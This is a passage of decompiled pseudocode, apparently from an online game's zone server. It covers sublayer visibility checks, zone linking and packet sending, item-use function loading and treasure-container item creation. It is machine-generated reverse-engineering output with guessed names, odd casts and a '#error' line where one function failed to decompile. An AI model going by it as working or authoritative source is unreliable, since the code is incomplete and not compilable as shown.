23); byte_CAC592E[v7] = *((_BYTE *)v10 + 23); byte_CAC5907[v7] = *((_BYTE *)v9 + 24); byte_CAC592F[v7] = *((_BYTE *)v10 + 24); byte_CAC5908[v7] = *((_BYTE *)v9 + 25); byte_CAC5930[v7] = *((_BYTE *)v10 + 25); byte_CAC5909[v7] = *((_BYTE *)v9 + 26); v11 = me; byte_CAC5931[v7] = *((_BYTE *)v10 + 26); v7 += 6; me = v11 + 1; if ( v7 >= 36 ) break; v6 = me; } v25 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (004726A0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanSee(int this, int flag) { char result; // al@2 if ( flag ) { result = *(&sublayerview[6 * *(_BYTE *)(*(_DWORD *)(this + 94) + 4)] + *(_BYTE *)(*(_DWORD *)(flag + 94) + 4)); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineObject::so_SubLayer_CanSee NULL Parameter", 0); result = 0; } return result; } //----- (004726E0) -------------------------------------------------------- char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanAttack(void *this, int a2) { void *v2; // edi@1 int v3; // eax@2 v2 = this; if ( (*(int (__thiscall **)(int, signed int))(*(_DWORD *)a2 + 988))(a2, 199) ) LOBYTE(v3) = 0; else v3 = (unsigned __int8)*(&sublayerattack[6 * *(_BYTE *)(*(_DWORD *)((char *)v2 + 94) + 4)] + *(_BYTE *)(*(_DWORD *)(a2 + 94) + 4)); return v3; } //----- (00472720) -------------------------------------------------------- char __fastcall ShineObjectClass::ShinePlayer::so_LinkTo(int sp, int lnkinf, int machine, __int16 cmd_sameserver, int cmd_otherserver) { int v5; // ebp@1 signed int v6; // edi@1 int v7; // eax@1 int v8; // ebx@1 RollBackPosCallBackEvent *v9; // esi@1 void *v10; // esi@9 int v11; // eax@10 int v13; // ST0C_4@17 unsigned int v14; // ST08_4@17 char *v15; // eax@17 int v16; // eax@17 int v17; // eax@22 unsigned int v18; // edx@22 char *v19; // esi@22 int v20; // edi@22 int v21; // eax@22 ZoneBaseSession *v22; // eax@24 unsigned int v23; // ecx@30 int v24; // eax@30 unsigned int v25; // edx@30 char *v26; // esi@31 int v27; // eax@31 char v28; // al@31 int v29; // eax@32 char *v30; // esi@34 Name4 *v31; // edi@34 char v32; // al@35 ZoneBaseSession *v33; // eax@36 FunctionEntarance _; // [sp+20h] [bp-18h]@1 SHINE_XY_TYPE oldxy; // [sp+24h] [bp-14h]@22 int v36; // [sp+34h] [bp-4h]@1 int lnkinfa; // [sp+3Ch] [bp+4h]@17 v5 = sp; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_LinkTo"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_LinkTo"; v6 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v36 = 0; v7 = ShineObjectClass::ShinePlayer::sp_GetRollBackPosEvent(v5); v8 = machine; v9 = (RollBackPosCallBackEvent *)v7; if ( v7 && (*(int (__thiscall **)(int))(*(_DWORD *)v7 + 8))(v7) == 1 ) { memcpy((void *)machine, RollBackPosCallBackEvent::GetLinkData(v9), 0x65u); ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(v5, 0); v6 = -1; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1136))(v5) == 4 ) (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1140))(v5); if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 1136))(v5) != 1 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 1136))(v5) != 2 && (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v5 + 1136))(v5) != 6 ) goto LABEL_19; v10 = *(void **)(v5 + 68275); if ( v10 ) { v11 = *(_DWORD *)(v5 + 98); if ( v11 && *(_BYTE *)(*(_DWORD *)(v11 + 12) + 54) == 3 ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v5 + 804))(v5) ) { (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v5 + 1000))(v5, machine, 0); } else { ShineObjectClass::ShineObject::so_CloseTradeMenu((void *)v5); (*(void (__thiscall **)(int, signed int, signed int))(*(_DWORD *)v5 + 772))(v5, 19, 11); ShineObjectClass::ShineObject::so_CloseTradeMenu(v10); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v10 + 772))(v10, 19, 12); (*(void (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v5 + 1000))(v5, machine, 0); } } goto LABEL_19; } if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)(v5 + 57736) + 16))(v5 + 57736) ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : Link during item operation", 0); --funcallanalizer.fca_stackpoint; v36 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); return 0; } v13 = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; v14 = BTree::operator__(&fieldserial, (const char *)(machine + 20)); v15 = ZoneServer::zs_GetServerGroup(&zoneserver); v16 = FieldOption::fo_GetMechineNumber(&this, v15, v14, v13); lnkinfa = v16; if ( v16 == v6 ) { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : machine number", v16); LABEL_19: --funcallanalizer.fca_stackpoint; v36 = v6; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); return 0; } if ( v16 == 99 ) lnkinfa = ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; ZoneServer::zs_GetServerGroup(&zoneserver); v17 = *(_DWORD *)(v5 + 78); v18 = *(_DWORD *)(v17 + 4); v19 = gpp.pp_Buffer; v20 = *(_DWORD *)(v5 + 98); oldxy.x = *(_DWORD *)v17; *(_WORD *)gpp.pp_Buffer = 6155; v21 = *(_DWORD *)v5; oldxy.y = v18; *((_WORD *)v19 + 1) = (*(int (__thiscall **)(int))(v21 + 832))(v5); *((_DWORD *)v19 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v22); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 8); } if ( lnkinfa == ZoneServer::zs_worlddata(&zoneserver)->nZoneNo ) { if ( cmd_otherserver == 79 ) (*(void (__thiscall **)(int, signed int, signed int, signed int))(*(_DWORD *)v5 + 828))(v5, 3, 1, 2); else (*(void (__thiscall **)(int, _DWORD, signed int, signed int))(*(_DWORD *)v5 + 828))(v5, 0, 1, 2); Name3::operator_((Name3 *)(v5 + 32079), (const char *)(v8 + 20)); **(_DWORD **)(v5 + 78) = *(_DWORD *)(v8 + 86); *(_DWORD *)(*(_DWORD *)(v5 + 78) + 4) = *(_DWORD *)(v8 + 90); (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1196))(v5); **(_BYTE **)(v5 + 3716) = 0; if ( ShineObjectClass::ShineObject::so_MapMarking(v5, 0) ) { (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(*(_DWORD *)v5 + 1464))(v5, 1669, 0, 0); *(_DWORD *)(v5 + 98) = v20; *(_DWORD *)(v5 + 32079) = *(_DWORD *)v20; *(_DWORD *)(v5 + 32083) = *(_DWORD *)(v20 + 4); v23 = oldxy.x; *(_DWORD *)(v5 + 32087) = *(_DWORD *)(v20 + 8); v24 = *(_DWORD *)(v5 + 78); v25 = oldxy.y; *(_DWORD *)v24 = v23; *(_DWORD *)(v24 + 4) = v25; (*(void (__thiscall **)(int))(*(_DWORD *)v5 + 1196))(v5); v36 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v26 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = (cmd_sameserver << 10) ^ cmd_otherserver & 0x3FF; *((_WORD *)v26 + 1) = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)(v8 + 53)); v27 = *(_DWORD *)(v5 + 78); *((_DWORD *)v26 + 1) = *(_DWORD *)v27; *((_DWORD *)v26 + 2) = *(_DWORD *)(v27 + 4); v28 = ProtocolPacket::pp_SetPacketLen(&gpp, 12); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v28, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 12) ) { v29 = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 764))(v5); (*(void (__thiscall **)(int, int, ProtocolPacket *))(*(_DWORD *)v29 + 12))(v29, v5, &gpp); } *(_DWORD *)(v5 + 31832) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; v36 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { WholeSaver::ws_save2DB(&wholesaver, (#325 *)v5, 0, 2); WholeSaver::ws_save2worldmanager(&wholesaver, (#434 *)v5); **(_BYTE **)(v5 + 3716) = 0; v30 = gpp.pp_Buffer; v31 = (Name4 *)(gpp.pp_Buffer + 41); if ( ZoneIPContainer::zipc_Mechine2IP( &zipc, lnkinfa, (Name4 *)(gpp.pp_Buffer + 41), (unsigned __int16 *)(gpp.pp_Buffer + 57)) ) { NameString::operator__(&namestring, v31); *(_WORD *)v30 = 6157; *((_DWORD *)v30 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 836))(v5); *((_WORD *)v30 + 1) = *(_WORD *)(v5 + 4); *((_WORD *)v30 + 4) = (*(int (__thiscall **)(int))(*(_DWORD *)v5 + 832))(v5); v30[10] = lnkinfa; Name3::operator_((Name3 *)(v30 + 11), (const char *)(v8 + 20)); *(_DWORD *)(v30 + 23) = *(_DWORD *)(v8 + 86); *(_DWORD *)(v30 + 27) = *(_DWORD *)(v8 + 90); *(_WORD *)(v30 + 31) = MapDataBox::mdb_2mapid(&mapdatabox, (const char *)(v8 + 53)); *(_DWORD *)(v30 + 33) = *(_DWORD *)(v8 + 86); *(_DWORD *)(v30 + 37) = *(_DWORD *)(v8 + 90); *(_WORD *)(v30 + 59) = *(_WORD *)(v5 + 89140); v32 = ProtocolPacket::pp_SetPacketLen(&gpp, 61); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v32, "ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long", 61) ) { v33 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v33); } } *(_BYTE *)(v5 + 23280) |= 2u; --funcallanalizer.fca_stackpoint; v36 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_LinkTo"); } return 1; } // 448D30: using guessed type int __thiscall ShineObjectClass__ShineObject__so_MapMarking(_DWORD, _DWORD); // 610228: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); //----- (00472CB0) -------------------------------------------------------- int __thiscall PROTO_NC_CHAR_REVIVEOTHER_CMD::operator_(int this, int a2) { int result; // eax@1 result = this; *(_DWORD *)this = *(_DWORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_WORD *)(this + 8) = *(_WORD *)(a2 + 8); *(_DWORD *)(this + 10) = *(_DWORD *)(a2 + 10); *(_DWORD *)(this + 14) = *(_DWORD *)(a2 + 14); *(_DWORD *)(this + 18) = *(_DWORD *)(a2 + 18); *(_DWORD *)(this + 22) = *(_DWORD *)(a2 + 22); *(_WORD *)(this + 26) = *(_WORD *)(a2 + 26); *(_WORD *)(this + 28) = *(_WORD *)(a2 + 28); return result; } //----- (00472D00) -------------------------------------------------------- #error "472D00: undefined or illegal type '#325' (funcsize=113)" //----- (00472E90) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanItemMakeItem(void *this) { void *v1; // esi@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@2 int v5; // edx@4 InventoryLocking::InventoryCellLock *v6; // eax@4 InventoryLocking::UnlockedInventoryIterator uii; // [sp+0h] [bp-28h]@4 ItemBoxIterEmpty ibie; // [sp+Ch] [bp-1Ch]@1 int v10; // [sp+24h] [bp-4h]@4 v1 = this; v2 = (*(int (**)(void))(*(_DWORD *)this + 1156))(); v3 = (int)((char *)v1 + 35536); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibie.baseclass_0.ibi_itembag = (ItemBag *)((char *)v1 + 35536); if ( v2 ) v4 = (*(int (__stdcall **)(int))(*(_DWORD *)v3 + 4))(v2); else v4 = (*(int (**)(void))(*(_DWORD *)v3 + 8))(); ibie.baseclass_0.ibi_Limit = v4; ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterEmpty::_vftable_; v5 = *(_DWORD *)v1; v10 = 0; v6 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v5 + 1916))(v1); uii.uii_Iterator = (ItemBoxIterator *)&ibie; uii.uii_LockList = v6; uii.uii_InvenType = 9; return InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) != 0 ? 1792 : 1821; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E8: using guessed type int (__thiscall *ItemBoxIterEmpty___vftable_)(_DWORD); //----- (00472F30) -------------------------------------------------------- void __thiscall ItemUseFunction::iuf_Load(ItemUseFunction *this) { char v1; // bl@1 int v2; // eax@1 int v3; // eax@4 int v4; // edi@4 int v5; // eax@4 void *v6; // eax@5 void *v7; // edi@5 unsigned int v8; // eax@5 signed int v9; // ebp@5 int v10; // edi@10 unsigned int v11; // eax@10 unsigned int v12; // ecx@10 unsigned int v13; // edx@10 UseEffect::UseItemBase *v14; // ebx@16 char *v15; // eax@43 SkillDataBox::SkillDataIndex *v16; // eax@45 ORToken v17; // [sp-28h] [bp-10A20h]@5 ORToken v18; // [sp-24h] [bp-10A1Ch]@4 int v19; // [sp-20h] [bp-10A18h]@4 int v20; // [sp-1Ch] [bp-10A14h]@4 int v21; // [sp-18h] [bp-10A10h]@4 int v22; // [sp-14h] [bp-10A0Ch]@4 signed int fnc; // [sp+0h] [bp-109F8h]@4 ORToken *item; // [sp+4h] [bp-109F4h]@5 int k; // [sp+8h] [bp-109F0h]@4 char *skill; // [sp+Ch] [bp-109ECh]@10 ORToken _; // [sp+10h] [bp-109E8h]@10 ORToken LicenceClear; // [sp+24h] [bp-109D4h]@4 ORToken StatClearStat; // [sp+38h] [bp-109C0h]@4 ORToken StatClearEmpow; // [sp+4Ch] [bp-109ACh]@4 ORToken UseSilverWings; // [sp+60h] [bp-10998h]@4 ORToken Dash; // [sp+74h] [bp-10984h]@4 ORToken MemoryFeather; // [sp+88h] [bp-10970h]@4 ORToken NoEffect; // [sp+9Ch] [bp-1095Ch]@4 ORToken Propose; // [sp+B0h] [bp-10948h]@4 ORToken AmountHP; // [sp+C4h] [bp-10934h]@4 ORToken IM_Divorce; // [sp+D8h] [bp-10920h]@4 ORToken AmountMP; // [sp+ECh] [bp-1090Ch]@4 ORToken BossMobDetect; // [sp+100h] [bp-108F8h]@4 char buf[128]; // [sp+114h] [bp-108E4h]@43 OptionReader or; // [sp+194h] [bp-10864h]@1 unsigned int cookie; // [sp+109E8h] [bp-10h]@47 int v43; // [sp+109F4h] [bp-4h]@1 OptionReader::OptionReader(&or); v43 = 0; v1 = OptionReader::or_Read(&or, "../9Data/Shine/World/ItemUseFunction.txt"); v2 = OptionReader::or_ErrorLine(&or); if ( !v1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemUseFunction::iuf_Load : Option read error", v2); ShineExit("ItemUseFunction::iuf_Load"); } fnc = (signed int)&v18; v22 = 0; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)&v18.ort_Name[0] = 0; strncpy(v18.ort_Name, "ItemUseFunction", 0x14u); v3 = OptionReader::or_SelectCountFrom(&or, v18); v4 = v3; fnc = v3; *(_QWORD *)&Dash.ort_Name[12] = 0i64; *(_QWORD *)&Dash.ort_Name[4] = 0i64; *(_DWORD *)&Dash.ort_Name[0] = 0; strncpy(Dash.ort_Name, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); *(_QWORD *)&UseSilverWings.ort_Name[12] = 0i64; *(_QWORD *)&UseSilverWings.ort_Name[4] = 0i64; *(_DWORD *)&UseSilverWings.ort_Name[0] = 0; strncpy(UseSilverWings.ort_Name, "UseSilverWings", 0x14u); *(_QWORD *)&StatClearStat.ort_Name[12] = 0i64; *(_QWORD *)&StatClearStat.ort_Name[4] = 0i64; *(_DWORD *)&StatClearStat.ort_Name[0] = 0; strncpy(StatClearStat.ort_Name, "StatClearStat", 0x14u); *(_QWORD *)&StatClearEmpow.ort_Name[12] = 0i64; *(_QWORD *)&StatClearEmpow.ort_Name[4] = 0i64; *(_DWORD *)&StatClearEmpow.ort_Name[0] = 0; strncpy(StatClearEmpow.ort_Name, "StatClearEmpow", 0x14u); *(_QWORD *)&LicenceClear.ort_Name[12] = 0i64; *(_QWORD *)&LicenceClear.ort_Name[4] = 0i64; *(_DWORD *)&LicenceClear.ort_Name[0] = 0; strncpy(LicenceClear.ort_Name, "LicenceClear", 0x14u); *(_QWORD *)&AmountHP.ort_Name[12] = 0i64; *(_QWORD *)&AmountHP.ort_Name[4] = 0i64; *(_DWORD *)&AmountHP.ort_Name[0] = 0; strncpy(AmountHP.ort_Name, "AmountHP", 0x14u); *(_QWORD *)&AmountMP.ort_Name[12] = 0i64; *(_QWORD *)&AmountMP.ort_Name[4] = 0i64; *(_DWORD *)&AmountMP.ort_Name[0] = 0; strncpy(AmountMP.ort_Name, "AmountMP", 0x14u); *(_QWORD *)&MemoryFeather.ort_Name[12] = 0i64; *(_QWORD *)&MemoryFeather.ort_Name[4] = 0i64; *(_DWORD *)&MemoryFeather.ort_Name[0] = 0; strncpy(MemoryFeather.ort_Name, "MemoryFeather", 0x14u); *(_QWORD *)&BossMobDetect.ort_Name[12] = 0i64; *(_QWORD *)&BossMobDetect.ort_Name[4] = 0i64; *(_DWORD *)&BossMobDetect.ort_Name[0] = 0; strncpy(BossMobDetect.ort_Name, "BossMobDetect", 0x14u); *(_QWORD *)&NoEffect.ort_Name[12] = 0i64; *(_QWORD *)&NoEffect.ort_Name[4] = 0i64; *(_DWORD *)&NoEffect.ort_Name[0] = 0; strncpy(NoEffect.ort_Name, "NoEffect", 0x14u); *(_QWORD *)&Propose.ort_Name[12] = 0i64; *(_QWORD *)&Propose.ort_Name[4] = 0i64; *(_DWORD *)&Propose.ort_Name[0] = 0; strncpy(Propose.ort_Name, "Propose", 0x14u); *(_QWORD *)&IM_Divorce.ort_Name[12] = 0i64; *(_QWORD *)&IM_Divorce.ort_Name[4] = 0i64; *(_DWORD *)&IM_Divorce.ort_Name[0] = 0; strncpy(IM_Divorce.ort_Name, "IM_Divorce", 0x14u); v5 = 0; k = 0; if ( v4 > 0 ) { do { v22 = v5; item = &v17; v21 = 0; v20 = 0; v19 = 0; *(_DWORD *)&v18.ort_Name[0] = 0; *(_DWORD *)&v17.ort_Name[0] = 0; strncpy(v17.ort_Name, "ItemUseFunction", 0x14u); v6 = OptionReader::or_SelectFromOrder(&or, v17, v22); v7 = v6; v8 = BTree::operator__(&stru_125739F0, (const char *)v6); v9 = 65535; if ( v8 != -1 ) v9 = v8; item = (ORToken *)v9; if ( (_WORD)v9 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "ItemUseFunction::iuf_Load : Invalid Item", (const char *)v7); ShineExit("ItemUseFunction::iuf_Load"); } v22 = *((_BYTE *)v7 + 33); UseEffect::UsedItemEffect::uie_BroadCast(&useditemeffect, v9, v22); v10 = (int)((char *)v7 + 34); v11 = *(_DWORD *)v10; v12 = *(_DWORD *)(v10 + 4); *(_DWORD *)&_.ort_Name[8] = *(_DWORD *)(v10 + 8); v13 = *(_DWORD *)(v10 + 12); *(_DWORD *)&_.ort_Name[16] = *(_DWORD *)(v10 + 16); skill = "UseSkill"; *(_QWORD *)&_.ort_Name[0] = __PAIR__(v12, v11); *(_DWORD *)&_.ort_Name[12] = v13; if ( __PAIR__(v12, v11) != *(_QWORD *)&Dash || __PAIR__(v13, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&Dash.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&Dash.ort_Name[16] ) { if ( __PAIR__(v12, v11) != *(_QWORD *)&UseSilverWings || __PAIR__(v13, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&UseSilverWings.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&UseSilverWings.ort_Name[16] ) { if ( __PAIR__(v12, v11) != *(_QWORD *)&StatClearStat || __PAIR__(v13, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&StatClearStat.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&StatClearStat.ort_Name[16] ) { if ( __PAIR__(v12, v11) != *(_QWORD *)&StatClearEmpow || __PAIR__(v13, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&StatClearEmpow.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&StatClearEmpow.ort_Name[16] ) { if ( __PAIR__(v12, v11) != *(_QWORD *)&LicenceClear || __PAIR__(v13, *(unsigned int *)&_.ort_Name[8]) != *(_QWORD *)&LicenceClear.ort_Name[8] || *(_DWORD *)&_.ort_Name[16] != *(_DWORD *)&LicenceClear.ort_Name[16] ) { if ( ORToken::operator__(&_, &AmountHP) ) { v14 = (UseEffect::UseItemBase *)&ui_amounthp; } else { if ( ORToken::operator__(&_, &AmountMP) ) { v14 = (UseEffect::UseItemBase *)&ui_amountsp; } else { if ( ORToken::operator__(&_, &MemoryFeather) ) { v14 = (UseEffect::UseItemBase *)&ui_MemoryFeather; } else { if ( ORToken::operator__(&_, &BossMobDetect) ) { v14 = (UseEffect::UseItemBase *)&ui_BossMobDetect; } else { if ( ORToken::operator__(&_, &NoEffect) ) { v14 = (UseEffect::UseItemBase *)&ui_NoEffect; } else { if ( ORToken::operator__(&_, &Propose) ) { v14 = (UseEffect::UseItemBase *)&ui_Propose; } else { if ( !ORToken::operator__(&_, &IM_Divorce) ) { v15 = ORToken::ort_GetString((ORToken *)v10, buf); AssertClass::ac_AssertFail( &shineassert, "ItemUseFunction::iuf_Load : Invalid function", v15); ShineExit("ItemUseFunction::iuf_Load"); } v14 = (UseEffect::UseItemBase *)&ui_ImmediateDivorce; } } } } } } } else { v14 = (UseEffect::UseItemBase *)&ui_LicenceClear; } } else { v14 = (UseEffect::UseItemBase *)&ui_StatClearEmpow; } } else { v14 = (UseEffect::UseItemBase *)&ui_StatClearStat; } } else { v14 = &ui_silverwing; skill = "UseSilverWings"; } v16 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, skill); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, (unsigned __int16)item, v14, v16); } v5 = k++ + 1; } while ( k < fnc ); } v43 = -1; OptionReader::_OptionReader(&or); __security_check_cookie(cookie); } //----- (004735C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MagicContainerMake(void *this, int iti, char *price) { void *v3; // esi@1 ItemAttributeClass *v4; // eax@2 int v5; // eax@8 void *v6; // eax@8 unsigned __int16 v7; // bp@8 void *v8; // edi@8 int v9; // eax@10 unsigned int v10; // ebp@13 int v11; // eax@14 void *v12; // eax@14 void *v13; // edi@14 unsigned int v14; // eax@14 ItemAttributeClass *v15; // eax@16 unsigned __int16 v16; // dx@16 ItemAttributeClass *v17; // ebp@16 ItemAttributeClassVtbl *v18; // eax@16 ItemAttributeClassVtbl *v19; // edx@16 int v20; // eax@16 char *v21; // eax@18 int v22; // ecx@18 unsigned __int16 v23; // ax@18 ItemAttributeClassVtbl *v24; // edx@20 char *v25; // edi@21 int v26; // eax@21 InventoryLocking::InventoryCellLock *v27; // eax@21 int v28; // ebp@22 char *v29; // eax@25 char v30; // al@25 ZoneBaseSession *v31; // eax@26 int v32; // edi@27 ItemBagVtbl *v33; // edx@27 int v34; // eax@27 int v35; // edx@27 __int16 v36; // ax@27 int v37; // ebp@27 char *v38; // eax@27 int v39; // edi@27 int v40; // eax@27 int v41; // edx@27 int v42; // eax@27 ORToken v43; // [sp-4h] [bp-4F0h]@8 int v44; // [sp+0h] [bp-4ECh]@14 int v45; // [sp+4h] [bp-4E8h]@14 void *v46; // [sp+8h] [bp-4E4h]@14 int v47; // [sp+Ch] [bp-4E0h]@14 char *v48; // [sp+10h] [bp-4DCh]@8 int v49; // [sp+14h] [bp-4D8h]@8 int v50; // [sp+18h] [bp-4D4h]@8 ORToken *v51; // [sp+2Ch] [bp-4C0h]@8 ITEM_INVEN inv; // [sp+30h] [bp-4BCh]@25 void *containerstr; // [sp+34h] [bp-4B8h]@8 int k; // [sp+38h] [bp-4B4h]@13 InventoryLocking::UnlockedInventoryIterator uii; // [sp+3Ch] [bp-4B0h]@21 FunctionEntarance _; // [sp+48h] [bp-4A4h]@1 ItemBoxIterEmpty ibie; // [sp+4Ch] [bp-4A0h]@21 ORToken *v58; // [sp+5Ch] [bp-490h]@14 char option[32]; // [sp+60h] [bp-48Ch]@16 ItemTotalInformation content; // [sp+80h] [bp-46Ch]@16 TreasureChestMaker itemmaker; // [sp+F0h] [bp-3FCh]@5 unsigned int cookie; // [sp+4DCh] [bp-10h]@29 int v63; // [sp+4E8h] [bp-4h]@1 v3 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v63 = 0; if ( !iti || (v4 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(iti + 8))) == 0 ) { v63 = -1; LABEL_28: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); goto LABEL_29; } if ( v4->vfptr->iac_ItemClass(v4) != 15 ) goto LABEL_7; TreasureChestMaker::TreasureChestMaker(&itemmaker, *(_WORD *)(iti + 8), 6, 0); LOBYTE(v63) = 1; if ( !TreasureChestMaker::tcm_GetItemNum(&itemmaker) ) { LOBYTE(v63) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); LABEL_7: v63 = -1; LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); goto LABEL_29; } v5 = *(_WORD *)(iti + 8); v50 = 0; v49 = v5; v48 = "ItemID"; v51 = &v43; ORToken::ORToken(&v43, "Container"); v6 = OptionReader::or_SelectFrom(&magiccontainer, v43, v48, v49, v50); v7 = *(_WORD *)(iti + 8); v8 = v6; containerstr = v6; if ( v6 != 0 ) { v50 = *(_WORD *)((char *)v6 + 41) - *(_WORD *)((char *)v6 + 39) + 1; v9 = *(_WORD *)((char *)v6 + 39) + RandomBox::operator__(&rndbox, v50); if ( v9 > 0 ) { v51 = (ORToken *)v9; while ( 1 ) { v10 = RandomBox::rb_1000000(&rndbox); for ( k = 0; ; ++k ) { v11 = *((_WORD *)v8 + 2); v50 = k; v49 = v11; v48 = "Index"; v58 = &v43; v47 = 0; v46 = 0; v45 = 0; v44 = 0; *(_DWORD *)&v43.ort_Name[0] = 0; strncpy(v43.ort_Name, "Content", 0x14u); v12 = OptionReader::or_SelectFrom(&magiccontainer, v43, v48, v49, v50); v13 = v12; v14 = *(_DWORD *)((char *)v12 + 43); if ( v10 <= v14 ) break; v8 = containerstr; v10 -= v14; } v50 = *(_WORD *)v13; v15 = ItemAttributeClassContainer::operator__(&itmattcontainer, v50); v16 = *(_WORD *)v13; v50 = (int)&stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current; content.iti_itemstruct.itemid = v16; v17 = v15; v18 = v15->vfptr; v49 = (int)&content; v48 = *(char **)&content.iti_itemstruct.itemid; v18->iac_itemcreate( v17, *(_DWORD *)&content.iti_itemstruct.itemid, &content, (char *)&stru_5A4E3C.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current); v50 = *(_WORD *)((char *)v13 + 39); sprintf(option, "-L%d"); v19 = v17->vfptr; v50 = (int)option; v49 = (int)&content; v48 = *(char **)&content.iti_itemstruct.itemid; v19->iac_itemcreate(v17, *(_DWORD *)&content.iti_itemstruct.itemid, &content, option); v20 = *((_BYTE *)v13 + 42) - *((_BYTE *)v13 + 41) + 1; if ( *((_BYTE *)v13 + 42) - *((_BYTE *)v13 + 41) == -1 || (unsigned int)v20 > 0x64 ) { v23 = 0; } else { v21 = (char *)&rndbox + 32776 * v20; v22 = *((_DWORD *)v21 + 8193) & (*((_DWORD *)v21 + 8192) + 1); *((_DWORD *)v21 + 8192) = v22; v23 = *(_WORD *)&v21[2 * v22]; } v50 = v23 + 